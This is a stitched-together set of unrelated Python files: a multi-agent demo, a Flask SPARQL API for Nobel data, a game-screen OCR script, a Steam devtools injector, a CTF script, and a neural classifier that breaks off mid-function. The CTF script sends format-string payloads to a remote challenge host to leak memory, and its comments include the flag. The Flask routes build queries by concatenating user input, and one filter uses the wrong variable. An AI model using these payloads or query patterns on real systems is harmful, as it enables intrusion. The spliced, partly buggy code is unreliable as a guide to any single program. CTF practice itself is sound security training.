from osbrain import Agent
from random import randint
from kInterest import listOfKInterests

class ResponderAgent(Agent):

    noOfInterests = 0
    interests = []

    def SelectInterests(self):
        while (len(self.interests) < self.noOfInterests):
            interestIndex = randint(0,len(listOfKInterests) - 1)
            if (listOfKInterests[interestIndex] not in self.interests):
                self.interests.append(listOfKInterests[interestIndex])

        self.log_info(self.interests)

    def replyToQuestion(self, message):
        askedInterest = message.split(' ')[-2]

        #Check if its among the interest he/she likes
        if(askedInterest in self.interests):
            self.log_info('YES')
            self.send('reply', f'{self.name} YES')
        else:
            self.log_info('NO')
            self.send('reply',f'{self.name} NO')

speed dating using agent/responderAgent.py


from flask import Flask, request
from flask import jsonify
import rdflib
from flask_cors import CORS
import itertools

app = Flask(__name__)
CORS(app)

g = rdflib.Graph()
g.parse("nobeldata.owl")

@app.route("/nobel/nations")
def getAllNations():
    qres = g.query(
    """
    PREFIX table:<http://swat.cse.lehigh.edu/resources/onto/nobel.owl#>
    PREFIX rdf:<http://www.w3.org/1999/02/22-rdf-syntax-ns#>
    PREFIX xsd:<http://www.w3.org/2001/XMLSchema#>
    SELECT DISTINCT (str(?n) as ?NATIONALITY)
    {
    ?g table:nationality ?n;
    }
    ORDER BY ?n
    """)
    return_data = [str(row[0]).split("/").pop() for row in qres if str(row[0]).split("/").pop()!="(no_nationality_info)"]
    return jsonify({"result":return_data})

@app.route("/nobel/categories")
def getAllCategories():
    qres = g.query(
    """
    PREFIX table:<http://swat.cse.lehigh.edu/resources/onto/nobel.owl#>
    PREFIX rdf:<http://www.w3.org/1999/02/22-rdf-syntax-ns#>
    PREFIX xsd:<http://www.w3.org/2001/XMLSchema#>
    SELECT DISTINCT (str(?c) as ?CATEGORIES)
    {
    ?g table:WonPrize ?c;
    }
    ORDER BY ?c
    """)
    categories_set = set()
    for row in qres:
        row = "%s"%row
        categories_set.add(row.split("/")[4])
    return jsonify({"result":list(sorted(categories_set))})

@app.route("/nobel/years")
def getAllYears():
    qres = g.query(
    """
    PREFIX table:<http://swat.cse.lehigh.edu/resources/onto/nobel.owl#>
    PREFIX rdf:<http://www.w3.org/1999/02/22-rdf-syntax-ns#>
    PREFIX xsd:<http://www.w3.org/2001/XMLSchema#>
    SELECT DISTINCT (str(?y) as ?YEARS)
    {
    ?g table:yearWon ?y;
    }
    ORDER BY ?y
    """)
    return_data = [str(row[0]) for row in qres]
    return jsonify({"result":return_data})

@app.route("/nobel/years/<year>")
def getByYear(year):
    qres = g.query(
    """
    PREFIX table:<http://swat.cse.lehigh.edu/resources/onto/nobel.owl#>
    PREFIX rdf:<http://www.w3.org/1999/02/22-rdf-syntax-ns#>
    PREFIX xsd:<http://www.w3.org/2001/XMLSchema#>
    SELECT (str(?n) as ?NAME) (str(?wp) as ?CATEGORY) (str(?nt) as ?NATIONALITY)
    {
    ?g rdf:type table:PersonWinner;
       table:name ?n;
       table:nationality ?nt;
       table:WonPrize ?wp.
    ?wp table:yearWon ?y;
    FILTER (?y = """+year+""" )
    }
    """)
    return_data = [{"name":str(row[0]),"year":year,"category":str(row[1]).split("/")[4],"nationality":str(row[2]).split("/").pop()} for row in qres]
    return_data = sorted(return_data, key=lambda k: k['nationality'])
    result = list()
    for key, group in itertools.groupby(return_data, key=lambda x:x['nationality']):
        result.append({key:list(group)})
    return jsonify({"listOfWinners":result})

@app.route("/nobel/nations/<nation>")
def getByNationality(nation):
    qres = g.query(
    """
    PREFIX table:<http://swat.cse.lehigh.edu/resources/onto/nobel.owl#>
    PREFIX rdf:<http://www.w3.org/1999/02/22-rdf-syntax-ns#>
    PREFIX xsd:<http://www.w3.org/2001/XMLSchema#>
    SELECT (str(?n) as ?NAME) (str(?wp) as ?CATEGORY) (str(?y) as ?YEAR) (str(?nt) as ?NATIONALITY)
    {
    ?g rdf:type table:PersonWinner;
       table:name ?n;
       table:WonPrize ?wp;
       table:nationality ?nt.
    ?wp table:yearWon ?y;
    FILTER (?nt = 'http://dbpedia.org/resource/"""+nation+"""')
    }
    """)
    return_data = [{"name":str(row[0]),"category":str(row[1]).split("/")[4],"year":str(row[2]).split("/").pop(),"nationality":nation} for row in qres]
    return_data = sorted(return_data, key=lambda k: k['year'],reverse=True)
    result = list()
    for key, group in itertools.groupby(return_data, key=lambda x:x['year']):
        result.append({key:list(group)})
    return jsonify({"listOfWinners":result})

@app.route("/nobel/categories/<category>")
def getByCategory(category):
    qres = g.query(
    """
    PREFIX table:<http://swat.cse.lehigh.edu/resources/onto/nobel.owl#>
    PREFIX rdf:<http://www.w3.org/1999/02/22-rdf-syntax-ns#>
    PREFIX xsd:<http://www.w3.org/2001/XMLSchema#>
    SELECT DISTINCT (str(?n) as ?NAME) (str(?c) as ?CATEGORY) (str(?nt) as ?NATIONALITY) (str(?y) as ?YEAR)
    {
    ?g table:WonPrize ?c;
       table:name ?n;
       table:nationality ?nt;
       table:WonPrize ?wp.
    ?wp table:yearWon ?y;
    }
    ORDER BY ?c
    """)
    return_data = [{"name":str(row[0]),"category":category,"nationality":str(row[2]).split("/").pop(),"year":str(row[3]).split("/").pop()} for row in qres if str(row[1]).split("/")[4]==category]
    return_data = sorted(return_data, key=lambda k: k['year'],reverse=True)
    result = list()
    for key, group in itertools.groupby(return_data, key=lambda x:x['year']):
        result.append({key:list(group)})
    return jsonify({"listOfWinners":result})

@app.route("/nobel/<nation>/<category>")
def getByNationAndCategory(nation,category):
    qres = g.query(
    """
    PREFIX table:<http://swat.cse.lehigh.edu/resources/onto/nobel.owl#>
    PREFIX rdf:<http://www.w3.org/1999/02/22-rdf-syntax-ns#>
    PREFIX xsd:<http://www.w3.org/2001/XMLSchema#>
    SELECT DISTINCT (str(?n) as ?NAME) (str(?c) as ?CATEGORIES) (str(?y) as ?YEAR)
    {
    ?g table:WonPrize ?c;
    table:name ?n;
    table:WonPrize ?wp.
    ?wp table:yearWon ?y;
    FILTER (?y = """+nation+""" )
    }
    ORDER BY ?c
    """)
    return_data = [ str(row[0]) for row in qres if str(row[1]).split("/")[4]==category ]
    return jsonify({"listOfWinners":return_data})

@app.route('/nobel/winner', methods=['POST'])
def getWinner():
    input_name = request.json['winner']
    qres = g.query(
    """
    PREFIX table:<http://swat.cse.lehigh.edu/resources/onto/nobel.owl#>
    PREFIX rdf:<http://www.w3.org/1999/02/22-rdf-syntax-ns#>
    PREFIX xsd:<http://www.w3.org/2001/XMLSchema#>
    SELECT DISTINCT (str(?o) as ?ORGANIZATION)(str(?by) as ?BIRTH)(str(?dy) as ?DEATH)(str(?p) as ?PHOTO)(str(?nt) as ?NATIONALITY)(str(?n) as ?NAME)(str(?c) as ?CATEGORY)(str(?y) as ?YEAR)
    {
    ?g rdf:type table:PersonWinner;
    table:name ?n;
    table:WonPrize ?c.
    ?c table:yearWon ?y
    OPTIONAL {?g table:Association ?o;
    table:photo ?p;
    table:nationality ?nt;
    table:photo ?p;
    table:deathYear ?dy;
    table:birthYear ?by;
    }
    }""")
    result = []
    for row in qres:
        organizationData,birth,death,photo,nationalityData,name, categoryData, year = "%s"%row[0],"%s"%row[1],"%s"%row[2],"%s"%row[3],"%s"%row[4],"%s"%row[5],"%s"%row[6],"%s"%row[7]
        if organizationData != 'None':
            org = organizationData.split('#')
            organization = org[1].split(',')[0]
        nationality = nationalityData.split('/').pop()
        category = categoryData.split('/')[4]
        if name == input_name:
            result.append({'name':name,'year_won':year,'category':category,'birth_year':birth, 'death_year':death, 'photo':photo, 'organization':organization, 'nationality': nationality})
    return jsonify({'result':result})

if __name__ == '__main__':
    app.run(debug=True)


from multiprocessing.connection import wait
from cv2 import waitKey
import pygetwindow
import pyautogui
import cv2
import pytesseract
pytesseract.pytesseract.tesseract_cmd = r'C:\\Program Files\\Tesseract-OCR\\tesseract.exe'

def calculateDPS():

    try:
        window = pygetwindow.getWindowsWithTitle('League of Legends (TM) Client')[0]
    except IndexError:
        print('League of Legends Client is not running!')
        print('Please start a game and try again.')
        exit()

    x1 = window.left
    y1 = window.top
    width = window.width
    height = window.height

    # LeagueisGoodGame HUD settings
    x1 = 558
    y1 = 990
    width = 32
    height = 82

    x2 = x1 + width
    y2 = y1 + height
    pyautogui.screenshot('screenshot.png')

    img = cv2.imread('screenshot.png', cv2.IMREAD_GRAYSCALE)
    img_cropped = img[y1:y2, x1:x2]
    img_invert = cv2.bitwise_not(img_cropped)
    img_processed = cv2.adaptiveThreshold(img_invert, 255, cv2.ADAPTIVE_THRESH_GAUSSIAN_C, cv2.THRESH_BINARY, 63, 4)

    # cv2.imshow('img', img_processed)
    # waitKey(0)

    text = pytesseract.image_to_string(img_processed, config="--psm 6 digits tessedit_char_whitelist=0123456789")

    stats = text.split()

    atk_dmg = float(stats[0])
    atk_speed = float(stats[2])
    crit_chance = float(stats[3])
    bonus_crit_dmg = crit_chance * 0.75 # every percent of crit_chance gives an added 0.75 percent crit_dmg
    crit_multiplier = 1 + crit_chance * (0.75 + bonus_crit_dmg) # 0.75 is base crit_dmg

    average_dps = atk_speed * atk_dmg * crit_multiplier

    return atk_dmg, atk_speed, crit_chance, crit_multiplier, average_dps

    # print(text, stats)
    # print('Attack Damage: ' + str(atk_dmg) + ' | Attack Speed: ' + str(atk_speed) + ' | Crit Chance: ' + str(crit_chance * 100) + '%' + ' | Crit Multiplier: ' + str((crit_multiplier * 100)) + '%')
    # print('Current Avg DPS: ' + str(average_dps))

#     input('Press ENTER to exit')

# calculateDPS()


#!/usr/bin/python2
#-*-coding:utf-8-*-
from pwn import *
from PwnContext import *
from time import time
try:
    from IPython import embed as ipy
except ImportError:
    print ('IPython not installed.')

context.terminal = ['tmux', 'splitw', '-h'] # uncomment this if you use tmux
# context.log_level = 'debug'
# functions for quick script
s       = lambda data               :ctx.send(str(data))        #in case that data is an int
sa      = lambda delim,data         :ctx.sendafter(str(delim), str(data))
sl      = lambda data               :ctx.sendline(str(data))
sla     = lambda delim,data         :ctx.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :ctx.recv(numb)
ru      = lambda delims, drop=True  :ctx.recvuntil(delims, drop)
irt     = lambda                    :ctx.interactive()
rs      = lambda *args, **kwargs    :ctx.start(*args, **kwargs)
dbg     = lambda gs='', **kwargs    :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32    = lambda data   :u32(data.ljust(4, ''))
uu64    = lambda data   :u64(data.ljust(8, ''))

ctx.binary = './format-0'
#ctx.remote_libc = './libc.so'
ctx.remote = ('shell.2019.nactf.com',31782)
#ctx.debug_remote_libc = False # True for debugging remote libc, false for local.
ctx.breakpoints = [0x08049284,0x080491D7]

for i in range(31,45):
    rs('remote')
    sl('%{}$x'.format(i))
    print('num',i,' ',r())
    sleep(1)
    ctx.close()
# dbg()
# rs('remote') # uncomment this for exploiting remote target
irt()

# }964f50Mn_d43r_yr0m3m_k43L_Ftn1rP{ftcan

# nactf{Pr1ntF_L34k_m3m0ry_r34d_nM05f469}


# Injector code from https://github.com/SteamDeckHomebrew/steamdeck-ui-inject. More info on how it works there.

from asyncio import sleep
from logging import getLogger
from typing import Any, Callable, List, TypedDict, Dict

from aiohttp import ClientSession
from aiohttp.client_exceptions import ClientConnectorError, ClientOSError
from asyncio.exceptions import TimeoutError
import uuid

BASE_ADDRESS = "http://localhost:8080"

logger = getLogger("Injector")

class _TabResponse(TypedDict):
    title: str
    id: str
    url: str
    webSocketDebuggerUrl: str

class Tab:
    cmd_id = 0

    def __init__(self, res: _TabResponse) -> None:
        self.title: str = res["title"]
        self.id: str = res["id"]
        self.url: str = res["url"]
        self.ws_url: str = res["webSocketDebuggerUrl"]

        self.websocket = None
        self.client = None

    async def open_websocket(self):
        self.client = ClientSession()
        self.websocket = await self.client.ws_connect(self.ws_url) # type: ignore

    async def close_websocket(self):
        if self.websocket:
            await self.websocket.close()
        if self.client:
            await self.client.close()

    async def listen_for_message(self):
        if self.websocket:
            async for message in self.websocket:
                data = message.json()
                yield data
            logger.warn(f"The Tab {self.title} socket has been disconnected while listening for messages.")
            await self.close_websocket()

    async def _send_devtools_cmd(self, dc: Dict[str, Any], receive: bool = True):
        if self.websocket:
            self.cmd_id += 1
            dc["id"] = self.cmd_id
            await self.websocket.send_json(dc)
            if receive:
                async for msg in self.listen_for_message():
                    if "id" in msg and msg["id"] == dc["id"]:
                        return msg
            return None
        raise RuntimeError("Websocket not opened")

    async def evaluate_js(self, js: str, run_async: bool | None = False, manage_socket: bool | None = True, get_result: bool = True):
        try:
            if manage_socket:
                await self.open_websocket()

            res = await self._send_devtools_cmd({
                "method": "Runtime.evaluate",
                "params": {
                    "expression": js,
                    "userGesture": True,
                    "awaitPromise": run_async
                }
            }, get_result)

        finally:
            if manage_socket:
                await self.close_websocket()
        return res

    async def has_global_var(self, var_name: str, manage_socket: bool = True):
        res = await self.evaluate_js(f"window['{var_name}'] !== null && window['{var_name}'] !== undefined", False, manage_socket)
        assert res is not None

        if not "result" in res or not "result" in res["result"] or not "value" in res["result"]["result"]:
            return False

        return res["result"]["result"]["value"]

    async def close(self, manage_socket: bool = True):
        try:
            if manage_socket:
                await self.open_websocket()

            res = await self._send_devtools_cmd({
                "method": "Page.close",
            }, False)

        finally:
            if manage_socket:
                await self.close_websocket()
        return res

    async def enable(self):
        """
        Enables page domain notifications.
        """
        await self._send_devtools_cmd({
            "method": "Page.enable",
        }, False)

    async def disable(self):
        """
        Disables page domain notifications.
        """
        await self._send_devtools_cmd({
            "method": "Page.disable",
        }, False)

    async def refresh(self, manage_socket: bool = True):
        try:
            if manage_socket:
                await self.open_websocket()

            await self._send_devtools_cmd({
                "method": "Page.reload",
            }, False)

        finally:
            if manage_socket:
                await self.close_websocket()

        return
    async def reload_and_evaluate(self, js: str, manage_socket: bool = True):
        """
        Reloads the current tab, with JS to run on load via debugger
        """
        try:
            if manage_socket:
                await self.open_websocket()

            await self._send_devtools_cmd({
                "method": "Debugger.enable"
            }, True)

            await self._send_devtools_cmd({
                "method": "Runtime.evaluate",
                "params": {
                    "expression": "location.reload();",
                    "userGesture": True,
                    "awaitPromise": False
                }
            }, False)

            breakpoint_res = await self._send_devtools_cmd({
                "method": "Debugger.setInstrumentationBreakpoint",
                "params": {
                    "instrumentation": "beforeScriptExecution"
                }
            }, True)

            assert breakpoint_res is not None

            logger.info(breakpoint_res)

            # Page finishes loading when breakpoint hits

            for _ in range(20):
                # this works around 1/5 of the time, so just send it 8 times.
                # the js accounts for being injected multiple times allowing only one instance to run at a time anyway
                await self._send_devtools_cmd({
                    "method": "Runtime.evaluate",
                    "params": {
                        "expression": js,
                        "userGesture": True,
                        "awaitPromise": False
                    }
                }, False)

            await self._send_devtools_cmd({
                "method": "Debugger.removeBreakpoint",
                "params": {
                    "breakpointId": breakpoint_res["result"]["breakpointId"]
                }
            }, False)

            for _ in range(4):
                await self._send_devtools_cmd({
                    "method": "Debugger.resume"
                }, False)

            await self._send_devtools_cmd({
                "method": "Debugger.disable"
            }, True)

        finally:
            if manage_socket:
                await self.close_websocket()
        return

    async def add_script_to_evaluate_on_new_document(self, js: str, add_dom_wrapper: bool = True, manage_socket: bool = True, get_result: bool = True):
        """
        How the underlying call functions is not particularly clear from the devtools docs, so stealing puppeteer's description:

        Adds a function which would be invoked in one of the following scenarios:
        * whenever the page is navigated
        * whenever the child frame is attached or navigated. In this case, the
          function is invoked in the context of the newly attached frame.

        The function is invoked after the document was created but before any of
        its scripts were run. This is useful to amend the JavaScript environment,
        e.g. to seed `Math.random`.

        Parameters
        ----------
        js : str
            The script to evaluate on new document
        add_dom_wrapper : bool
            True to wrap the script in a wait for the 'DOMContentLoaded' event.
            DOM will usually not exist when this execution happens,
            so it is necessary to delay til DOM is loaded if you are modifying it
        manage_socket : bool
            True to have this function handle opening/closing the websocket for this tab
        get_result : bool
            True to wait for the result of this call

        Returns
        -------
        int or None
            The identifier of the script added, used to remove it later.
            (see remove_script_to_evaluate_on_new_document below)
            None is returned if `get_result` is False
        """
        try:

            wrappedjs = """
            function scriptFunc() {
                {js}
            }
            if (document.readyState === 'loading') {
                addEventListener('DOMContentLoaded', () => {
                scriptFunc();
            });
            } else {
                scriptFunc();
            }
            """.format(js=js) if add_dom_wrapper else js

            if manage_socket:
                await self.open_websocket()

            res = await self._send_devtools_cmd({
                "method": "Page.addScriptToEvaluateOnNewDocument",
                "params": {
                    "source": wrappedjs
                }
            }, get_result)

        finally:
            if manage_socket:
                await self.close_websocket()
        return res

    async def remove_script_to_evaluate_on_new_document(self, script_id: str, manage_socket: bool = True):
        """
        Removes a script from a page that was added with `add_script_to_evaluate_on_new_document`

        Parameters
        ----------
        script_id : int
            The identifier of the script to remove (returned from `add_script_to_evaluate_on_new_document`)
        """

        try:
            if manage_socket:
                await self.open_websocket()

            await self._send_devtools_cmd({
                "method": "Page.removeScriptToEvaluateOnNewDocument",
                "params": {
                    "identifier": script_id
                }
            }, False)

        finally:
            if manage_socket:
                await self.close_websocket()

    async def has_element(self, element_name: str, manage_socket: bool = True):
        res = await self.evaluate_js(f"document.getElementById('{element_name}') != null", False, manage_socket)
        assert res is not None

        if not "result" in res or not "result" in res["result"] or not "value" in res["result"]["result"]:
            return False

        return res["result"]["result"]["value"]

    async def inject_css(self, style: str, manage_socket: bool = True):
        try:
            css_id = str(uuid.uuid4())

            result = await self.evaluate_js(
                f"""
                (function() {{
                    const style = document.createElement('style');
                    style.id = "{css_id}";
                    document.head.append(style);
                    style.textContent = `{style}`;
                }})()
                """, False, manage_socket)

            assert result is not None

            if "exceptionDetails" in result["result"]:
                return {
                    "success": False,
                    "result": result["result"]
                }

            return {
                "success": True,
                "result": css_id
            }
        except Exception as e:
            return {
                "success": False,
                "result": e
            }

    async def remove_css(self, css_id: str, manage_socket: bool = True):
        try:
            result = await self.evaluate_js(
                f"""
                (function() {{
                    let style = document.getElementById("{css_id}");

                    if (style.nodeName.toLowerCase() == 'style')
                        style.parentNode.removeChild(style);
                }})()
                """, False, manage_socket)

            assert result is not None

            if "exceptionDetails" in result["result"]:
                return {
                    "success": False,
                    "result": result
                }

            return {
                "success": True
            }
        except Exception as e:
            return {
                "success": False,
                "result": e
            }

    async def get_steam_resource(self, url: str):
        res = await self.evaluate_js(f'(async function test() {{ return await (await fetch("{url}")).text() }})()', True)
        assert res is not None
        return res["result"]["result"]["value"]

    def __repr__(self):
        return self.title

async def get_tabs() -> List[Tab]:
    res = {}

    na = False
    while True:
        try:
            async with ClientSession() as web:
                res = await web.get(f"{BASE_ADDRESS}/json", timeout=3)
        except ClientConnectorError:
            if not na:
                logger.debug("Steam isn't available yet. Wait for a moment...")
                na = True
            await sleep(5)
        except ClientOSError:
            logger.warn(f"The request to {BASE_ADDRESS}/json was reset")
            await sleep(1)
        except TimeoutError:
            logger.warn(f"The request to {BASE_ADDRESS}/json timed out")
            await sleep(1)
        else:
            break

    if res.status == 200:
        r = await res.json()
        return [Tab(i) for i in r]
    else:
        raise Exception(f"/json did not return 200. {await res.text()}")

async def get_tab(tab_name: str) -> Tab:
    tabs = await get_tabs()
    tab = next((i for i in tabs if i.title == tab_name), None)
    if not tab:
        raise ValueError(f"Tab {tab_name} not found")
    return tab

async def get_tab_lambda(test: Callable[[Tab], bool]) -> Tab:
    tabs = await get_tabs()
    tab = next((i for i in tabs if test(i)), None)
    if not tab:
        raise ValueError(f"Tab not found by lambda")
    return tab

SHARED_CTX_NAMES = ["SharedJSContext", "Steam Shared Context presented by Valve™", "Steam", "SP"]
CLOSEABLE_URLS = ["about:blank", "data:text/html,%3Cbody%3E%3C%2Fbody%3E"] # Closing anything other than these *really* likes to crash Steam
DO_NOT_CLOSE_URL = "Valve Steam Gamepad/default" # Steam Big Picture Mode tab

def tab_is_gamepadui(t: Tab) -> bool:
    return "https://steamloopback.host/routes/" in t.url and t.title in SHARED_CTX_NAMES

async def get_gamepadui_tab() -> Tab:
    tabs = await get_tabs()
    tab = next((i for i in tabs if tab_is_gamepadui(i)), None)
    if not tab:
        raise ValueError(f"GamepadUI Tab not found")
    return tab

async def inject_to_tab(tab_name: str, js: str, run_async: bool = False):
    tab = await get_tab(tab_name)

    return await tab.evaluate_js(js, run_async)

async def close_old_tabs():
    tabs = await get_tabs()
    for t in tabs:
        if not t.title or (t.title not in SHARED_CTX_NAMES and any(url in t.url for url in CLOSEABLE_URLS) and DO_NOT_CLOSE_URL not in t.url):
            logger.debug("Closing tab: " + getattr(t, "title", "Untitled"))
            await t.close()
            await sleep(0.5)


from math import inf

max_result=-inf
def recursion(count,is_Used,expression):
    global max_result

    if count==num:
        if is_Used:
            max_result=max(max_result,eval(expression))
        #마지막 항에 대해서 괄호를 사용하지 않은 경우 마지막 피연산자도 추가한다.
        else:
            max_result=max(max_result,eval(expression+operands[count]))

        return
    #이전에 괄호를 취하지 않은 경우
    if is_Used==False:
        #현재 괄호를 취하는 경우 괄호 계산후에 해당 피연산자항 추가
        recursion(count+1,True,expression+"("+operands[count]+operators[count]+operands[count+1]+")")
        #현재 괄호를 취하지 않는 경우 피연산자와 연사자항 추가
        recursion(count+1,False,expression+operands[count]+operators[count])

    #이전에 괄호를 취한 경우
    else:
        # 연산자만 추가한다.
        recursion(count+1,False,expression+operators[count])

def solution():

    for segment in expression:
        if "0"<=segment<="9":
            operands.append(segment)
        else:
            operators.append(segment)

    recursion(0,False,"")

    print(max_result)

if __name__ == "__main__":
    length=0
    expression=""
    num=0
    operands=[]
    operators=[]

    with open("E:\\Codes\\Code-Test-Preparing\\algorithm\\Tasks_By_Algorithms\\recursion\\input16637.txt","r") as file:
        length=int(file.readline())
        expression=list(file.readline())
        num=length//2
    solution()


#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Created on Fri Oct 27 10:09:31 2017

@author: Thomas
"""

from __future__ import division
import pickle

# Bounds for the number of typical days
min_days = 1
max_days = 12

def read_res(filename):
    with open(filename, "rb") as f_in:
        times = pickle.load(f_in)
        obj = pickle.load(f_in)
        gap = pickle.load(f_in)

    return times, obj, gap

res = {"google_or": {}, "gurobi": {}}

for number_clusters in range(min_days, max_days+1):
    res["google_or"][number_clusters] = read_res("res_googleOR_True_"+str(number_clusters)+"days.pkl")
    res["gurobi"][number_clusters] = read_res("res_googleOR_False_"+str(number_clusters)+"days.pkl")


import numpy as np
import torch
from torch.nn import functional as F
from models.utils import loss_functions as lf, modules
from models.conv.nets import ConvLayers
from models.fc.layers import fc_layer
from models.fc.nets import MLP
from models.cl.continual_learner import ContinualLearner

class Classifier(ContinualLearner):
    '''Model for encoding (i.e., feature extraction) and classifying images, enriched as "ContinualLearner"--object.'''

    def __init__(self, image_size, image_channels, classes,
                 # -conv-layers
                 conv_type="standard", depth=0, start_channels=64, reducing_layers=3, conv_bn=True, conv_nl="relu",
                 num_blocks=2, global_pooling=False, no_fnl=True, conv_gated=False,
                 # -fc-layers
                 fc_layers=3, fc_units=1000, h_dim=400, fc_drop=0, fc_bn=True, fc_nl="relu", fc_gated=False,
                 bias=True, excitability=False, excit_buffer=False,
                 # -training-specific settings (can be changed after setting up model)
                 hidden=False):

        # model configurations
        super().__init__()
        self.classes = classes
        self.label = "Classifier"
        self.depth = depth
        self.fc_layers = fc_layers
        self.fc_drop = fc_drop

        # settings for training
        self.hidden = hidden
        #--> if True, [self.classify] & replayed data of [self.train_a_batch] expected to be "hidden data"

        # optimizer (needs to be set before training starts))
        self.optimizer = None
        self.optim_list = []

        # check whether there is at least 1 fc-layer
        if fc_layers<1:
            raise ValueError("The classifier needs to have at least 1 fully-connected layer.")

        ######------SPECIFY MODEL------######
        #--> convolutional layers
        self.convE = ConvLayers(
            conv_type=conv_type, block_type="basic", num_blocks=num_blocks, image_channels=image_channels,
            depth=depth, start_channels=start_channels, reducing_layers=reducing_layers, batch_norm=conv_bn, nl=conv_nl,
            global_pooling=global_pooling, gated=conv_gated, output="none" if no_fnl else "normal",
        )
        self.flatten = modules.Flatten()
        #------------------------------calculate input/output-sizes--------------------------------#
        self.conv_out_units = self.convE.out_units(image_size)
        self.conv_out_size = self.convE.out_size(image_size)
        self.conv_out_channels = self.convE.out_channels
        if fc_layers<2:
            self.fc_layer_sizes = [self.conv_out_units]  #--> this results in self.fcE = modules.Identity()
        elif fc_layers==2:
            self.fc_layer_sizes = [self.conv_out_units, h_dim]
        else:
            self.fc_layer_sizes = [self.conv_out_units]+[int(x) for x in np.linspace(fc_units, h_dim, num=fc_layers-1)]
        self.units_before_classifier = h_dim if fc_layers>1 else self.conv_out_units
        #------------------------------------------------------------------------------------------#
        #--> fully connected layers
        self.fcE = MLP(size_per_layer=self.fc_layer_sizes, drop=fc_drop, batch_norm=fc_bn, nl=fc_nl, bias=bias,
                       excitability=excitability, excit_buffer=excit_buffer, gated=fc_gated)#, output="none") ## NOTE: temporary change!!!
        #--> classifier
        self.classifier = fc_layer(self.units_before_classifier, classes, excit_buffer=True, nl='none', drop=fc_drop)

    def list_init_layers(self):
        '''Return list of modules whose parameters could be initialized differently (i.e., conv- or fc-layers).'''
        list = self.convE.list_init_layers()
        list += self.fcE.list_init_layers()
        list += self.classifier.list_init_layers()
        return list

    @property
    def name(self):
        if self.depth>0 and self.fc_layers>1:
            return "{}_{}_c{}".format(self.convE.name, self.fcE.name, self.classes)
        elif self.depth>0:
            return "{}_{}c{}".format(self.convE.name, "drop{}-".format(self.fc_drop) if self.fc_drop>0 else "",
                                     self.classes)
        elif self.fc_layers>1:
            return "{}_c{}".format(self.fcE.name, self.classes)
        else:
            return "i{}_{}c{}".format(self.fc_layer_sizes[0], "drop{}-".format(self.fc_drop) if self.fc_drop>0 else "",
                                      self.classes)

    def forward(self, x):
        hidden_rep = self.convE(x)
        final_features = self.fcE(self.flatten(hidden_rep))
        return self.classifier(final_features)

    def input_to_hidden(self, x):
        '''Get [hidden_rep]s (inputs to final fully-connected layers) for images [x].'''
        return self.convE(x)

    def hidden_to_output(self, hidden_rep):
        '''Map [hidden_rep]s to outputs (i.e., logits for all possible output-classes).'''
        return self.classifier(self.fcE(self.flatten(hidden_rep)))

    def feature_extractor(self, images, from_hidden=False):
        return self.fcE(self.flatten(images if from_hidden else self.convE(images)))
        #return self.classifier(self.fcE(self.flatten(images if from_hidden else self.convE(images))))

    def classify(self, x, not_hidden=False):
        '''For input [x] (image or extracted "intermediate" image features), return all predicted "scores"/"logits".'''
        image_features = self.flatten(x) if (self.hidden and not not_hidden) else self.flatten(self.convE(x))
        hE = self.fcE(image_features)
        return self.classifier(hE)

    def train_a_batch(self, x, y=None, x_=None, y_=None, scores_=None, rnt=0.5, active_classes=None,
                      task=1, replay_not_hidden=False, freeze_convE=False, **kwargs):
        '''Train model for one batch ([x],[y]), possibly supplemented with replayed data ([x_],[y_]).

        [x]                 <tensor> batch of inputs (could be None, in which case only 'replayed' data is used)
        [y]                 <tensor> batch of corresponding labels
        [x_]                None or (<list> of) <tensor> batch of replayed inputs
                              NOTE: expected to be as [self.hidden] or [replay_up_to], unless [replay_not_hidden]==True
        [y_]                None or (<list> of) <tensor> batch of corresponding "replayed" labels
        [scores_]           None or (<list> of) <tensor> 2Dtensor:[batch]x[classes] predicted "scores"/"logits" for [x_]
        [rnt]               <number> in [0,1], relative importance of new task
        [active_classes]    None or (<list> of) <list> with "active" classes
        [task]              <int>, for setting task-specific mask
        [replay_not_hidden] <bool> provided [x_] are original images, even though other level might be expected'''

        # Set model to training-mode
        self.train()
        if freeze_convE:
            # - if conv-layers are frozen, they shoud be set to eval() to prevent batch-norm layers from changing
            self.convE.eval()

        # Reset optimizer
        self.optimizer.zero_grad()

        ##--(1)-- CURRENT DATA --##

        if x is not None:
            # If requested, apply correct task-specific mask
            if self.mask_dict is not None:
                self.apply_XdGmask(task=task)

            # Run model
            y_hat = self(x)
            # -if needed (e.g., "class" or "task" scenario), remove predictions for classes not in current task
            if active_classes is not None:
                class_entries = active_classes[-1] if type(active_classes[0])==list else active_classes
                y_hat = y_hat[:, class_entries]

            # Calculate multiclass prediction loss
            if y is not None and len(y.size())==0:
                y = y.expand(1)  #--> hack to make it work if batch-size is 1
            predL = None if y is None else F.cross_entropy(input=y_hat, target=y, reduction='none')
            # --> no reduction needed, summing over classes is "implicit"
            predL = None if y is None else lf.weighted_average(predL, weights=None, dim=0)  # -> average over batch

            # Weigh losses
            loss_cur = predL

            # Calculate training-accuracy
            accuracy = None if y is None else (y == y_hat.max(1)[1]).sum().item() / x.size(0)

            # If XdG is combined with replay, backward-pass needs to be done before new task-mask is applied
            if (self.mask_dict is not None) and (x_ is not None):
                weighted_current_loss = rnt*loss_cur
                weighted_current_loss.backward()
        else:
            accuracy = predL = None
            # -> it's possible there is only "replay" [i.e., for offline with incremental task learning scenario]

        ##--(2)-- REPLAYED DATA --##

        if x_ is not None:
            # In the Task-IL scenario, [y_] or [scores_] is a list and [x_] needs to be evaluated on each of them
            TaskIL = (type(y_)==list) if (y_ is not None) else (type(scores_)==list)
            if not TaskIL:
                y_ = [y_]
                scores_ = [scores_]
                active_classes = [active_classes] if (active_classes is not None) else None
            n_replays = len(y_) if (y_ is not None) else len(scores_)

            # Prepare lists to store losses for each replay
            loss_replay = [torch.tensor(0., device=self._device())]*n_replays
            predL_r = [torch.tensor(0., device=self._device())]*n_replays
            distilL_r = [torch.tensor(0., device=self._device())]*n_replays

            # Run model (if [x_] is not a list with separate replay per task and there is no task-specific mask)
            if (not type(x_)==list) and (self.mask_dict is None):
                y_hat_all = self.classify(x_, not_hidden=replay_not_hidden)

            # Loop to perform each replay
            for replay_id in range(n_replays):

                # -if [x_] is a list with separate replay per task, evaluate model on this task's replay
                if (type(x_) == list) or (self.mask_dict is not None):
                    x_temp_ = x_[replay_id] if type(x_) == list else x_
                    if self.mask_dict is not None:
                        self.apply_XdGmask(task=replay_id + 1)
                    y_hat_all = self.classify(x_temp_, not_hidden=replay_not_hidden)

